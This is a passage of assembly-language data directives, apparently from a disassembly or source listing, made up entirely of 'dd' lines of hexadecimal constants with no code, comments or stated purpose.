72C4A839h dd 0F0F82A4Ah, 97180618h, 0B820370Fh, 199819C4h, 976EBB90h dd 0FC6C9942h, 78F652A6h, 0CC8EE75Bh, 0AFC3B697h, 0BC0D78CDh dd 5C67641Dh, 926B553Fh, 3797DDF5h, 960D4FF8h, 6417E96Ch dd 439AABAAh, 0D3246E8Ch, 738EC6C9h, 2F9812E3h, 6730A074h dd 4554EF7h, 0C39E1AC4h, 1FE486AFh, 0C0891C9Ch, 0CD7C2B8h dd 0FAEC567Ah, 31C5E35Ch, 3BFDC8F7h, 5B55526Ch, 0C274AB66h dd 0A49B50BFh, 6CC95C9Fh, 5AFB4B1Fh, 0A2638B64h, 159FFF41h dd 5CC808Fh, 3FA1C364h, 0AF09311Bh, 0C65F05FFh, 0E044AEDh dd 9AD5D082h, 0AF61A75Ch, 969D2013h, 5626ADE4h, 2638FEA9h dd 0AEB95090h, 5FF4A31Ch, 64E23A50h, 8F5C4459h, 1F2C3B7Dh dd 0AF7830Dh, 0FF4E3238h, 0FE9DC38Eh, 0BCC772D9h, 96645D63h dd 0AAE36BC2h, 0A43A13CCh, 0CFE8073Ah, 0CFE56834h, 31F7EEB4h dd 0F0E7EEA0h, 9F0A0196h dd 95D7C8Fh, 0C48E30B5h, 9CDD63EFh, 0A85AD73Ch, 9A332A26h dd 99C2E1A5h, 0C3D3B49Dh, 4EAC0AF6h, 8BC2DF89h, 0F58B091Ch dd 0A78E4EA3h, 0DCBCBB73h, 1F2C1F30h, 6B2DAB11h, 72FAB1DAh dd 5F016E3Fh, 0AE346095h, 98533DF3h, 4FA192E7h, 6478807Dh dd 2DAE1B66h, 345D010Eh, 5936D7h, 74DD6088h, 6CA08D4h dd 0B8AD4703h, 6B541F5Ch, 0C7B353D0h, 8B120363h, 0D739DF9Bh dd 520D7B2Ch, 7419CB8Ah, 0FEB6CAB4h, 8F485422h, 0D275F6Ch dd 0F3D7EC2Ch, 28C99C61h, 0DA8966F4h, 63E472F6h, 0F6376E7Eh dd 797070FDh, 1995D7D0h, 0F380930Dh, 0FBF4A369h, 1EAE32EDh dd 0A0E653B2h, 54AE6B73h, 0E444165Ah, 3A7EB66h, 940E4558h dd 2AC9B99Eh, 0A586CDFFh, 0F3C80069h, 998B183Fh, 0BF8E2152h dd 88816FD3h, 0F4C6C1Ch, 0F8D5A4A9h, 0E5275224h, 0C0768BAAh dd 1DF58EB2h, 44D05323h, 679B60EEh, 2C6AAEE9h, 20AEB67h dd 0DAAD5902h, 2E2CCFBAh, 0AB8ADF77h, 97BBCCA6h, 9E98EFBDh dd 7B68F45Ch, 35621FAAh, 9DB1CDEFh, 3C457AACh, 26A77BAEh dd 60E14E9h, 0CD2C2C6Fh, 12322B92h, 48B2FF3Dh, 0C6636271h dd 8EF658D4h, 0DC0541E1h, 731EF972h, 31525B91h, 94B6F887h dd 0AF4601h, 1C963C9Dh, 5D9CB005h, 8E48C5E6h, 25640C52h dd 9D3B444Fh, 0A02ABFA7h, 30482255h, 0BCDAB62Bh, 0DFF49417h dd 0CBC8B406h, 0F839E70Bh, 0E32BEAEEh, 95C7B01Eh, 0BB11BE50h dd 3A955092h, 0C6EF7679h, 0E99062D5h, 0DCD26B01h, 576ACF9Eh dd 0D5A34CF1h, 8DB33D4Fh, 74E06F88h, 85C7DA5Bh, 9084A3F5h dd 4403B67Bh, 0AA0EA211h, 11634DB6h, 129ECF4Bh, 0D7E85DB7h dd 1EF5F34Ch, 1FBAEA37h, 0C7589146h, 0D9EEC676h, 3CC93078h dd 8E4F0DDAh, 2CA548B2h, 8A3BF6C4h, 0DA7C0A0Ch, 0A506319Ah dd 0AAFDAF24h, 91C38790h, 9057622h, 2D5ED96Ah, 93FE77F9h dd 1FEA22BEh, 82B17081h, 59641591h, 59E6CF06h, 0DF412438h dd 5D2FBC9Ch, 4EE4C19Eh, 0A8EDF9F0h, 10A2C396h, 0BFC12A22h dd 0C664745Ch, 0D864B084h, 35FC4BFDh, 0CA7B7611h, 3763B105h dd 6AA489A2h, 5787BC1Eh, 84CEA022h, 0C7EBC6FFh, 744B6470h dd 0ABA33F77h, 1DD06FDFh, 8640B5EDh, 14DD1F18h, 0F8DA191Ch dd 637E4B91h, 8046C37Fh, 725520A0h, 0BCF9B8ADh, 0B52FAAC5h dd 0A9C9DACCh, 0DFCA7C1Ch, 0E0845C35h, 126BFCE6h, 85959D03h dd 1FD6AF07h, 4BB5B4FAh, 8D3F18A5h, 5BEE469Eh, 5A5D4279h dd 1B1D7D0Ch, 83C64B7Fh, 91F7FC60h, 4FECD1A3h, 0BCB4FA67h dd 8E8C815Ch, 2F18F234h, 70540191h, 80EEB361h, 0ED7EF279h dd 6D24279Eh, 41D446A8h, 39B1AC98h, 0C9A7BDAAh, 88D317A9h dd 1FC9A50Dh, 22768B0Bh, 95B519FAh, 0A21BB428h, 5DE9801h dd 0A10D0B9Fh, 0A3DA8FF7h, 93BD3DEAh, 0ACE13757h, 0C4519685h dd 91E53F2Eh, 0F1C0207Bh, 21AB6469h, 0AC04823Dh, 44A05261h dd 0ADC76C5Ah, 8CB7F1D0h, 0AA00AEE2h, 0CB83095Eh, 27545700h dd 0F06622D9h, 0E102E4A5h, 92D5E80h, 0E40AC9BCh, 0ADE86884h dd 0E39159A2h, 17C79864h, 0E3EEAA3Ah, 38A87C12h, 35A06523h dd 0FBDF1A22h, 50E2C7EFh, 26E5928Ah, 0CFFBBC7Bh, 979A268Bh dd 4685838h, 0DC905A11h, 8BD872E2h, 3006632Ah, 58E0B7B9h dd 7D5F5FBBh, 0A11653B1h, 5AE7B34Fh, 8DB86053h, 99D6485Ah dd 89C65965h, 3BDEA0C6h, 0F6CDF633h, 94F987CBh, 1D253D22h dd 0A4B1CA05h, 0E15C656Ah, 6E2E6A3Dh, 0B9B4610Ch, 90F549FBh dd 59C4CB85h, 56C22B09h, 4306F1A3h, 0DFFCD3E0h, 0E66011Bh dd 0D4433458h, 22EF386Dh, 707B8459h, 7B9E6FD0h, 0E8C3C094h dd 0D3847621h, 0E361C7FCh, 419E4DC9h, 71B3B41Ah, 0B82562F2h dd 0DA92064Ah, 0BAA5AC03h, 5ED9C679h, 70ED8DD1h, 49D36262h dd 0DD5B83CAh, 2AF7EAF1h, 64A3263Ch, 0F812DDC0h, 7F498F7Eh dd 75FCBDF0h, 752BB8B7h, 0E0CE3E17h, 143A5DF8h, 21F65816h dd 245A0875h, 60A52120h, 33936995h, 0C0F38B7Eh, 0A943BCABh dd 0BE7075E8h, 18DBBF66h, 0F7E9969Ah, 896257CBh, 0BD11229Ch dd 0E1AAB381h, 67705DD1h, 71D9A237h, 0FFD63BA5h, 0A57AB497h dd 50C47D13h, 0A8FC227Bh, 0C2A844C1h, 163DCDB4h, 28689DBDh dd 0F07BDFD4h, 13FC0CC4h, 4844AFA7h, 344022C5h, 32C383C1h dd 0EB8A24DDh, 0D604931Ah, 8C5C7E2Bh, 0BF3F8936h, 12974575h dd 91EC058Eh, 0C0714FBDh, 9AED65FAh, 80F438DCh, 0B394BC0h dd 0EC6223Eh, 80DE2166h, 0A52F57A5h, 0A62DC7C3h, 7985841Dh dd 8DFA30F3h, 0CF8F8429h, 0B7DC63C2h, 9C4A1F33h, 4C3ACF72h dd 0EC497C4Ch, 0E63FACACh, 40126FA9h, 0E4A1A4E9h, 3F35D915h dd 3606C7B6h, 64755C05h, 95DE5AFBh, 0EBFE0D37h, 67EE906Bh dd 6C63596Dh, 8253B25Ch, 0FBDAE108h, 9DD42DEh, 0F121FE4Fh dd 0E98CDB7Ah, 4121D8C2h, 0BBBF4139h, 2799F9AEh, 0DA8B565Ah dd 0C2F4163Dh, 0C94AFF29h, 1455AA6Fh, 0D706F5C2h, 0CD520ED5h dd 306D76B1h, 6536ACD3h, 0ED5FBFFCh, 2A7531A4h, 0C4095587h dd 0F883BDEDh, 0C0656825h, 95F273B2h, 0DCA05968h, 0C74A97FCh dd 68C64B33h, 0B3ACD084h, 0BA088C9Ah, 947954E5h, 82501B17h dd 8041C6F3h, 0E5E9BA80h, 3C999ECFh, 0CCF4802Dh, 5078D667h dd 5917D490h, 49D2A52Ah, 70F64B0Eh, 14FEA62Ch, 0A4884923h dd 0F4F2C162h, 0F4ACBEA7h, 7246759Fh, 0EB108E38h, 0EDB3E37Ah dd 4670A100h, 0AC6F77F7h, 0B27C4F34h, 516CFEE7h, 48DC26A6h dd 5EFB26B6h, 372B5575h, 428C3652h, 648A6773h, 5ABA522Fh dd 0E9F95567h, 0D20A24CBh, 2175A07Dh, 28E8E2FAh, 0C608FE8h dd 41B71E8Eh, 0A4CAC1A7h, 0D66C84C2h, 5BBA7DBAh, 65FD5F1Eh dd 0C9CDC607h, 0F1E91C21h, 9CB132ECh, 6DB2B155h, 5AAF1243h dd 8D44F0Ch, 0F49E6329h, 3C18AFC0h, 0FF829775h, 7230D6Bh dd 3DD716E3h, 858A9C8Ch, 992FC4FAh, 7429F3BDh, 0C1EA2C8h dd 29D14F33h, 0DFD88A9h, 0F0140C40h, 2FF3F8C0h, 0A8573E42h dd 0BCD03435h, 3DFE2F6h, 9869162Dh, 76A3220Dh, 4B4A744Bh dd 0B15C291Eh, 0B3D8E68Dh, 2A454447h, 81855731h, 8E0E3A80h dd 4AC50CDDh, 0C2D53A0Bh, 71C39255h, 5840CAB8h, 0C0930444h dd 0DA7DAB85h, 0B4E5B356h, 744DFCD3h, 36A9C03Ch, 0F74F9985h dd 57B2AE53h, 0AE30AB18h, 7DEC9B12h, 80CFC104h, 0BC4ED7DDh dd 4376BFD0h, 677514FFh, 2F85F1CEh, 0FFE788F7h, 478AF04Dh dd 44032CB1h, 799D5537h, 0E0138BDDh, 82B51621h, 0C0D31D9h dd 83A2A434h, 0ABEB6B32h, 0F1690CBAh, 0FB4BC736h, 0E0FB25C4h dd 78AE32Bh, 0A40766EAh, 25A654DCh, 0BF8B4BE1h, 0B8FBF189h dd 0B5F92981h, 8D44AC1Dh, 3E5AAAB0h, 6872955h, 4B25C7D9h dd 5EB46B66h, 5032B9F0h, 0BF8E03A3h, 0C175833h, 0FCC13D5Eh dd 88F00E62h, 0DEBED0C8h, 0B59C4753h, 4EC8F4D3h, 3DBDAC4Fh dd 0FFB18113h, 0FD2C07E0h, 93E68BA7h, 0D85B9A0Ch, 0DB511D9Fh dd 8E56EEE5h, 4A603FD9h, 71B05C13h, 0EC84587Fh, 5D7CAB70h dd 0F51F2960h, 0AAB0F57Dh, 74F3E9Bh, 8AE6CE96h, 5BEBD5C6h dd 0A49860EAh, 800F534Ch, 808C739Fh, 94DCBB71h, 2413F406h dd 28A622CFh, 3DA4DCBCh, 50D98BFFh, 0DA37B04Bh, 0D6C90E3Fh dd 1C590569h, 0BD219A1Bh, 8384AFCDh, 79F79934h, 5E3399AAh dd 410A06E1h, 0C35FAC14h, 0AE5F843h, 0FF809FDBh, 72372690h dd 300E828Ah, 0F36D8A55h, 3FE1A462h, 0FC94F972h, 142FE2F7h dd 64E86A87h, 0CAF07E61h dd 0A3A3DEBh, 0DA9170Eh, 0CB813E80h, 0C74D0433h, 0E32870D3h dd 4863C4D4h, 0B752A346h, 647082BEh, 0C360FF6Eh, 0C06912ACh dd 45CA9604h, 0A4D15C55h, 6898803h, 0BAD4C597h, 0F5EDE690h dd 0B8709B4Dh, 5B82F255h, 0B81165Bh, 0FFE89655h, 0B1CCFD2Dh dd 96B44D39h, 0B1A58FE2h, 78E9C584h, 6DA87A8h, 33BBA1CAh dd 5F25ED43h, 17C51BDAh, 9B8EF55h, 0A59A36E5h, 99BD3BCEh dd 0BB46CC26h, 52110786h, 53D29427h, 86ED31A6h, 73F9E4DEh dd 0EBF99530h, 875D6AF8h, 2418313Bh, 891089C4h, 62314F08h dd 0D7866FBh, 14CBF2F6h, 911E2089h, 0FA25D518h, 0D59FFD77h dd 957E529Bh, 344DB02Ch, 749AAAFCh, 1D241096h, 0EAD5EC82h dd 16C46A94h, 6137FFAAh, 78CB7DD7h, 0D6E8DED3h, 0B03D29C0h dd 4A498447h, 1A7D08F1h, 0B5A75500h, 89C0D96Ch, 0F37131BFh dd 0C9792AC2h, 417F9740h, 0D0B61291h, 2ADCFB41h, 83B50FB8h dd 50F87569h, 0B67138C1h, 164E96F4h, 0EE2C5818h, 0A952B3C7h dd 4D2F61F9h, 62BCF8FEh, 3A1C388Fh, 0F28F8315h, 0CA69E9FCh dd 0BA71073h, 1EFBE445h, 1189F553h, 566A6943h, 5516054Dh dd 12E084D4h, 803E2A63h, 0A2992D4Ah, 8CF566B9h, 4919BEE3h dd 54CA1E96h, 13CB28BAh, 80C366FAh, 2F24C7C1h, 1A1F25D4h dd 9485913Bh, 2A4B3477h, 91529168h, 79588E34h, 0FD19E9A1h dd 86E4059Bh, 1193BDE6h, 44EB7A2Eh, 547975E7h, 0BE1A5902h dd 4F8C5E4Bh, 2DC5AB5Ah, 6BC899DCh, 6E26EF74h, 0F8009A6Fh dd 9D6ABD47h, 8F9722E1h, 2EE10E78h, 0BA0E3784h, 0C501BB2Eh dd 0C7F38F0Ah, 432B0668h, 0CE457EFDh, 61E376DAh, 95802FF5h dd 737B5A8Bh, 0A94EB8Dh, 0AFA96774h, 0D2408050h, 0D481A544h dd 0C0E68B9Bh, 373A8573h, 67A80B3Ch, 0ACEB2BC9h, 0D24F7E86h dd 65CB0288h, 39ABDD6Fh, 0AE054E1Eh, 0F8FC25FBh, 0FD7A6C76h dd 811B8711h, 0EBE1EE80h, 0DEA5CB16h, 9E64E271h, 0E063BDA6h dd 0FCA744CBh, 0FB852B4Ah, 188D24FDh, 0D579019Eh, 0A037422h dd 5BC192CBh, 403BAE60h, 0F72D08B5h, 610A383Ah, 0C8D7956Eh dd 0F7A428D6h, 0AEC7516Dh, 383D866Dh, 0DA64D36Ch, 7F0B4FA3h dd 3722A86Dh, 0FF28C31h, 858E0DFAh, 99C636Dh, 0AB19B7D0h dd 9AFFDDB7h, 7E08AE92h, 2F37355Ch, 99BC6A59h, 70511CD0h dd 0EC59B31Bh, 0F64D5D50h, 0B8184863h, 0AECDB60h, 0F7E9497Eh dd 14C1CEF7h, 46648852h, 62C16AACh, 25AB0135h, 94D5FF81h dd 3ADB1C3Ah, 0D321E699h, 0F62A0344h, 306E42E5h, 0BD7EC181h dd 0CD497E05h, 6424AFDDh, 4D38DC6Bh, 379C6C04h, 624B4A21h dd 4CED8D33h, 0F04700EEh, 1B56A58h, 67265E0Ah, 7ED8E3ADh dd 0E6C0D802h, 75D84BB3h, 39390B34h, 8B83B45Eh, 1D4A49B0h dd 0E9F22D3Bh, 3698D60h, 8771C602h, 811E601Ch, 5761345Fh dd 0C9FA75AFh, 50530DE8h, 0C4FBDECh, 0E4EE8A41h, 0D408F285h dd 0D0674B18h, 1D6B9FBFh, 0AF788ED8h, 5FEA0ED2h, 49A60237h dd 707F4496h, 48F62DB0h, 7E3208EEh, 0F9867433h, 0E17CD210h dd 2543B4C6h, 7F8C48D1h, 44E83429h, 7BA03A1Ah, 0DA28CE67h dd 55ED1F9Dh, 1DD9E28Ch, 5A2A098Fh, 87449940h, 0BEC82BE9h dd 0D4C29723h, 978E78F5h, 0BBA9357Bh, 29587A82h, 2D8FBF4Fh dd 6268A122h, 0DF3D33AAh, 89651B62h, 0A469A4E7h, 0C6E1D8EDh dd 95F94B2Ch, 8D73B2A1h, 2C893885h, 0DA4DEE7Fh, 28B9FEE4h dd 64A4D33Ch, 0D5A5D28Bh, 0C7F66EFBh, 0C5121D7h, 6AC2AA76h dd 27877790h, 6D49106Bh, 170AA71Eh, 80217085h, 66845713h dd 890037A6h, 1F954390h, 290D5B96h, 2767BE9Fh, 54ABAB83h dd 22BC4F5h, 397610B7h, 0FED3B157h, 0CF86C3ACh, 0BAA0F565h dd 0AD3159B0h, 0E3DFFE75h, 0D2AB442Eh, 0CA120406h, 3A1794E8h dd 8C4973ECh, 96929B2Bh, 3C37EF8Bh, 1DA6CC81h, 41D60415h dd 9C586136h, 0A02032B8h, 7251A1BDh, 0D92B12D6h, 0A0CCDCC8h dd 8507171Eh, 0A4367561h, 0BD9FBD60h, 732E982Ch, 6B64E611h dd 0D33AB7E2h, 0BEBA5359h, 0B596BCA6h, 79C3359h, 0C6DC7200h dd 17C3B5h, 0C9472968h, 48935855h, 1E57B98Eh, 0C8602799h dd 3B86CB64h, 0D1656F2Dh, 3BA1837Ch, 0E37960CAh, 791301DBh dd 18830AE3h, 249F779Fh, 853B1362h, 0E8F036B5h, 3A678D87h dd 72273AC8h, 0E3E6AFBCh, 2FC87037h, 0DCE3CE33h, 7B77396Bh dd 6343110Ch, 0E329B431h, 6809B513h, 10D53ECh, 8E36E564h dd 96495B20h, 48179A3Ah, 500F6D66h, 0E9F4804Ah, 0D2F091ADh dd 93460B09h, 95A8326Ch, 53E905F8h, 418D067Ah, 0CE79CDCAh dd 644541C3h, 2CC873C1h, 0E32F60A3h, 62F4BE02h, 2EA3F2Ah dd 0F752E70Ch, 0E7289800h, 0CA80628Bh, 0AC8DFADh, 7FFEF28h dd 0D45A4E13h, 0B6EB3245h, 7D316826h, 0B01F4403h, 0BB052C3Dh dd 0EEB7BB8Ah, 0E117AD59h, 15A8CC85h, 8269345Ch, 0E3EA4B1Eh dd 99E89B4Dh, 0F9465797h, 0E34C53EDh, 1A3C623Dh, 7F49E226h dd 940E440Dh, 9BAF8605h, 0F8839A3Ch, 58EA056h, 7B1A059Eh dd 904024F2h, 2960ADF9h, 0D0383B34h, 0C28DCE9Bh, 0A6DAA0B2h dd 1CAA46E9h, 682C2A23h, 5A8633B8h, 0ED1DD027h, 0D2E935DAh dd 0A6BD40B5h, 2941906Dh, 0FA6F09F1h, 43516327h, 6B4464DDh dd 936BEDEBh, 1F31BD99h, 0F6C9BE6Ch, 4810B160h, 0F8B868DAh dd 69083C93h, 3D85A780h, 1258AEA6h, 0E0ADC3A5h, 983D1C6Dh dd 0CF649DD6h, 23A82F1Dh, 18A574EBh, 0F352BEC0h, 0CCB10FCEh dd 0F0F1CC3Ch, 914A62Bh, 0C89284D9h, 0C85B6581h, 9E4A98B9h dd 53564D6Fh, 441C21DAh, 5EFC5AD1h, 34942DF1h, 0AC22BD9Ch dd 5888852Bh, 610905Ch, 0C8DCDA94h, 8DB3360Ah, 4A4BF781h dd 6C36BC08h, 8EAD6E5Fh, 0D9A18E32h, 0ADB541E9h, 3A07EFA9h dd 0A1ADDAE9h, 121D378Bh, 8CDB172Bh, 936A3DA0h, 0D0E2360Fh dd 0CB96621h, 0DD95158h, 0C8C6C15Bh, 0D15FF261h, 74B4F87Bh dd 0C2A042CEh, 0A7D71076h, 9F28E8AEh, 5A2E57D3h, 7FFE37D6h dd 229608B4h, 6B4AF862h, 276B6352h, 3CC230D0h, 17A3CA6Dh dd 0D1F2DA54h, 7994A176h, 695E5A6Ch, 0ACB05FEBh, 3B33F4C7h dd 0C7B21B27h, 39230016h, 0D76ECD3Dh, 0FD0195B7h, 6FA4AE1Fh dd 0E70E26F7h, 549DA41Ch, 0B745FD75h, 0B2AD8714h, 0AE315EDAh dd 1871675Fh, 2577AFCh, 0B1AA1F91h, 19D0DB6Fh, 366C31B3h dd 298DB1BCh, 0DB9EF685h, 3971929Ch, 0F72BC114h, 0C4C0909Ah dd 0A162135h, 673E3979h, 928AC425h, 73CAE8E3h, 299CD745h dd 0CB1F9A83h, 0CF39D67Ah, 0CA2E9322h, 67116D92h, 0E6B8D51h dd 23BCDDE1h, 9C8BD3C2h, 39A79A9h, 0B8BEA084h, 4FF865A4h dd 0D93A1EA8h, 6AA75FF6h, 7EEBAD3Dh, 18E9D530h, 0B4C7D897h dd 638B3BC5h, 80C3F822h, 0CA239E6Fh, 50241840h, 78606240h dd 8F7B8C84h, 0A14A6C85h, 26DCC601h, 0F106DAF5h, 2F04EA76h dd 0F19F2C88h, 0D97116DAh, 0EAC40A06h, 0ED8B72A2h, 70773A87h dd 2E04263Bh, 5AFE055Dh, 0A780D8D8h, 0B0C74935h, 64924BDAh dd 4D811807h, 1BA29D65h, 0E2BEECEBh, 8A1CCD20h, 1F70F9C4h dd 0E63935CCh, 5D71DAD0h, 4F009702h, 5B8D40A1h, 6C630A72h dd 0F62DF3E8h, 944F3EBBh, 0E3E099Fh, 0C10E3CD8h, 0DD7024DDh dd 0ED228114h, 0A1FDBE15h, 97203FF5h, 0FB58074Eh, 0A6607407h dd 158C7C7Fh, 0A5437D5Ch, 0E26C2391h, 476F9F59h, 8FC3066Ch dd 9B0E042Fh, 0BBD0E64h, 0FC0D8121h, 77290ADDh, 0F145A6E1h dd 83BCA480h, 84AD673h dd 97763BF4h, 8C12BBEEh, 5A7159FDh, 0AE8AF26h, 0FD048FA5h dd 0E13C34CCh, 0FB89D14Ah, 8CADFBF2h, 0C13EC2A9h, 3590E22Ah dd 5074056Bh, 0BC396CE4h, 0E892C9CEh, 0ADE29889h, 823460Bh dd 5CA87C88h, 7C458B44h, 2430B6F6h, 0BA90C463h, 0E9897BB6h dd 705D8777h, 0D8D20E6Ch, 0FBBE49FAh, 11E09B7Fh, 9AC4FE00h dd 0E955ABE1h, 0A38BF27Ch, 0C05C2A56h, 52CAD66Eh, 69A527F0h dd 411EF78Ch, 4754C97Eh, 379CA58Eh, 0EB8A9102h, 0F48584E0h dd 0A7C4FEC9h, 2AEB1090h, 0CB957BD2h, 0FCB9CE67h, 67A0C03Bh dd 6C6E4599h, 0DB3EED08h, 0C2EF307h, 0CD99C4E9h, 8F8716F4h dd 78679111h, 75355535h, 0B33CA63Eh, 9DB90FB2h, 0A7A49331h dd 2E5F1C8Ah, 0D1F7A34Bh, 49EE37DDh, 0CB2D53A1h, 6D817D94h dd 9D983258h, 0B0D0F76Ah, 2FC568EAh, 2F67B7Ch, 30629F0Fh dd 71EA452Fh, 398F875Dh, 0E1B004Ah, 0E8CAEDECh, 5C4E570Bh dd 2F65B9C3h, 0A9043DB5h, 6A3C418Bh, 71811A20h, 1E2A6834h dd 148E48C1h, 0CCF31915h, 8ED039A0h, 3B32CFCFh, 219002F6h dd 47B3537Ch, 0DF59B565h, 2940EB5Ah, 0CF354128h, 10CD5945h dd 0D4856FB7h, 5F190E45h, 0C132A530h, 8505F13Ah, 3EBEA750h dd 77303616h, 0D6A3846h, 54F17A85h, 1A441127h, 2DFE702Ch dd 2821A963h, 0A486E1A4h, 6B8F7A8h, 0D4963A10h, 9593C86h dd 4C9BB6F7h, 493A4BE8h, 0A6D007F2h, 0C3859987h, 50890FA4h dd 0B73C9856h, 3BD5B759h, 0FC437D23h, 0ABB9F6CCh, 5D9634DDh dd 0F97B2B55h, 0BBD0CCFCh, 0F7728517h, 44FED399h, 0A6E3BB8Eh dd 0DEF84621h, 0C73CB086h, 684685B3h, 4A2B2A8Dh, 0F774B010h dd 0BB451919h, 0FFA96C00h, 1C3308CBh, 0CE937075h, 2DEDF4h dd 7B0FDF3Fh, 0EFCAB777h, 0D825C388h, 0C06F8C9Bh, 4DEE4558h dd 5513C005h, 0C44935CDh, 20EB1753h, 6BC54F2Ah, 8944D2EEh dd 80152E58h, 0C3035082h, 5FEF0361h, 8DD510C2h, 9453B774h dd 6D9D4168h, 68A4F77Bh, 0C1FE033Eh, 62AC9A2Fh, 6081A869h dd 2FA89D9Bh, 0FBA4DB90h, 45C0E67Dh, 0FF92E878h, 124828BAh dd 0BA50F60Eh, 2C2B2DB9h, 0F24E24DEh, 614D1EBAh, 0A384B1CEh dd 0AEC33CA5h, 6EED7B57h, 757E6382h, 0A9B76321h, 4A8AB112h dd 57FB20A0h, 0EDFC9BD0h, 0A8108146h, 0DCFA9640h, 35A67756h dd 0E7FFE87h, 800F631Bh, 0ACFEB200h, 72BA6D6Ch, 0E3B7B4DCh dd 1980778h, 33C3E265h, 4E8D9383h, 0C2DABB70h, 153B845Fh dd 0BCB90DE0h, 88B65D17h, 42BF385Ch, 9E70C028h, 7D93483Ch dd 7F9AD1ABh, 0FFD24D6Bh, 0E71823E9h, 9C0BF679h, 962A7D1Fh dd 0D075DD7Eh, 4D150A75h, 0CF9787B1h, 50D8A37Dh, 7CBD3707h dd 0FC1C5C71h, 119A8E8h, 1F355EBh, 32C6CC37h, 933439A7h dd 37E2C5A4h, 98EF2493h, 1CFB3BD4h, 84433975h, 0A2DB736Dh dd 6D5BC03Ah, 0A284BCDCh, 3C8EBC71h, 8743E9FEh, 7A9D34A8h dd 7DC02489h, 0CCEDA239h, 9D407930h, 0A37FE39Bh, 65AC5638h dd 60E66B40h, 38C447C0h, 20411337h, 5C2BF4B4h, 0F382CB84h dd 49B42272h, 807F3263h, 73DB5266h, 3E173FD5h, 8FFE824h dd 35018280h, 0D3825553h, 0EEF025E4h, 0B66875BBh, 0D0452663h dd 4E2E4004h, 18DF8711h, 1B77C390h, 0BF71182Dh, 0B7D24745h dd 94973C6h, 0BDED3CD1h, 119AF1E7h, 7FFBC0CFh, 0DF8757DAh dd 8832FB9Bh, 1ED25376h, 76F53B70h, 0F0E486DEh, 7B226CEAh dd 8D7B038Eh, 0CEF4E9FAh, 540AF344h, 8FB15AF0h, 0DFE78C6Dh dd 0B6A94B8Bh, 92FD941Fh, 9C6C960Ch, 76D86401h, 0F1909EE0h dd 375530Eh, 0AE18D1A2h, 3699FDCh, 0AC0F16E1h, 0B8E87231h dd 25399C78h, 6EF91BD8h, 0EA87A9A2h, 0A1C46712h, 4CB59F13h dd 5695599Dh, 4021545Eh, 0A3CFBFABh, 0DF52B3E6h, 53FF81BFh dd 0D1C0AB0Ah, 0E76D266h, 0D2FD4007h, 0A4B44F2Ch, 1EB564D1h dd 79A2EC36h, 1EB60689h, 0C79C18E5h, 738E86EAh, 0CA076783h dd 0A3B6E0F7h, 0B055A035h, 34E599E7h, 0C47D0E8Bh, 0A07052F9h dd 7E03CDB3h, 953B7302h, 29182AC1h, 25516073h, 68B38BEFh dd 0DBF61E61h, 117A5938h, 6BFA13B2h, 0EAACD10Dh, 0BA80E10Fh dd 0D910AB6Eh, 211AFB55h, 5CC715A1h, 0F10D895h, 0CBDED70Fh dd 5C326746h, 0C466F983h, 0ED22EBA2h, 11D316B8h, 0A37F9B0Fh dd 4CB8B4C7h, 0D76A38B0h, 317F6F6Bh, 49764744h, 55372C18h dd 2E285579h, 0D3D1422Ah, 70B9C71Ah, 0E96DFAFFh, 0AD15EE1Eh dd 0AD554426h, 8451A12h, 5626A64Dh, 0F4650D9Fh, 759BD0AEh dd 0BEDC4E39h, 856D51F3h, 0DA468A6Ch, 6F8815A0h, 20347167h dd 0A78F9ECEh, 2BFA40A0h, 0D1BAE0C7h, 0A17E0E03h, 4C5F12C4h dd 34E5380h, 0D2566D63h, 0AE3E3065h, 0EDA4FB3Fh, 4E6EC872h dd 0DBBA2049h, 0CBB3ED38h, 7578F05Eh, 25BEFC7Fh, 8C50CFD1h dd 6897B0A8h, 964CC491h, 41D88198h, 184C0E44h, 1006B5Fh dd 54B324ECh, 0B1FA7EF0h, 65658719h, 8D5A1D7Dh, 0AACB893Dh dd 0EFE8D32Dh, 0B2CA991Ch, 0EEDD83E7h, 0EBF3A121h, 4486579Ah dd 0B9C555B3h, 2E0A859Eh, 0AC0218B4h, 0B669C22h, 1223A516h dd 26D32678h, 0F91827A8h, 1EC5A90Ch, 3CC58169h, 6441B531h dd 0AE21D462h, 0CE06793Ah, 0DA41602Bh, 0AC98FD53h, 2E26635h dd 3FD79420h, 0A9F39B0Eh, 0DB7E1B56h, 46EEADA6h, 6E2D519h dd 0A5E4244Eh, 67804C7Eh, 6E0DDD60h, 0B2C6CF55h, 76DFE70Fh dd 0A8C18C0Fh, 0A020F568h, 0F798E7BBh, 0BA63872h, 0CF8E95E0h dd 0A90DF269h, 7CE8ADEAh, 0DFDC4D48h, 0DB6743D7h, 0DC68FE0Bh dd 66F2B5EEh, 4897BE04h, 8475433Eh, 0F9580272h, 924D891h dd 122B1118h, 31CFA56Dh, 70AA1A71h, 4B67028Bh, 66EA3A7Ah dd 43F08B67h, 0F3FBBDFEh, 607D0ECEh, 635463D4h, 0AB59097Ah dd 455C6A40h, 0A77E108Eh, 0CAF9EAD9h, 0D418FC44h, 0B5BC7F75h dd 64DF86F3h, 0DD4EDD31h, 0ADBD208Ch, 0D3387FD7h, 0A3A39657h dd 0B2F7CD8Fh, 0DC13B342h, 9F1D7A9h, 4ED6DFB3h, 0DF90F3F0h dd 128EAC92h, 0E4616980h, 0DA26B599h, 73BD76CCh, 73DFC4E7h dd 59BAB86Fh, 0F3C56B30h, 0AA73FCA6h, 4594C26Eh, 0B29B592Dh dd 0E5971AB4h, 0CF38B6C8h, 0B6B977A0h, 0C953CAD5h, 0B502C4EEh dd 0C60852Fh, 87693E70h, 0AE5E8467h, 5F368F2Ah, 0FFC3A31Fh dd 0BED1102h, 63395302h, 0ABF0B61Dh, 0EFCF259Fh, 0C2363FF1h dd 0F378A34Dh, 0F0F84B2Ah, 0F8C91148h, 0B989B6Fh, 981C644Eh dd 1BF613F5h, 1D01469Fh, 0ECAE3022h, 201D77FAh, 72E4320Fh dd 786E1350h, 0EFBF95C3h, 0DADC5C45h, 0D6E53316h, 3A14BD71h dd 0D0A5F270h, 47DAA1BDh, 9D191605h, 94DDB64Fh, 9A3E56ABh dd 27D94082h, 6BC76AC3h, 0E59D664Bh, 0D9D775EDh, 59C6A04Ah dd 6C283D11h, 125E12C3h, 2E671F3h, 35CA2235h, 7A73FAD6h dd 0A83FEE1Eh, 1D2E7042h, 6A9F5860h, 58DD1439h, 4F866036h dd 1D6A0443h, 104792AEh, 4678D71Ch, 36700693h, 792D956Bh dd 0CFEB00EBh, 0AECDBCF7h, 0E5223254h, 0E78070D0h, 381766Ah dd 1BD19DEFh, 0B1F62A1h, 0D79669D4h, 8B41EADBh, 51EF527Eh dd 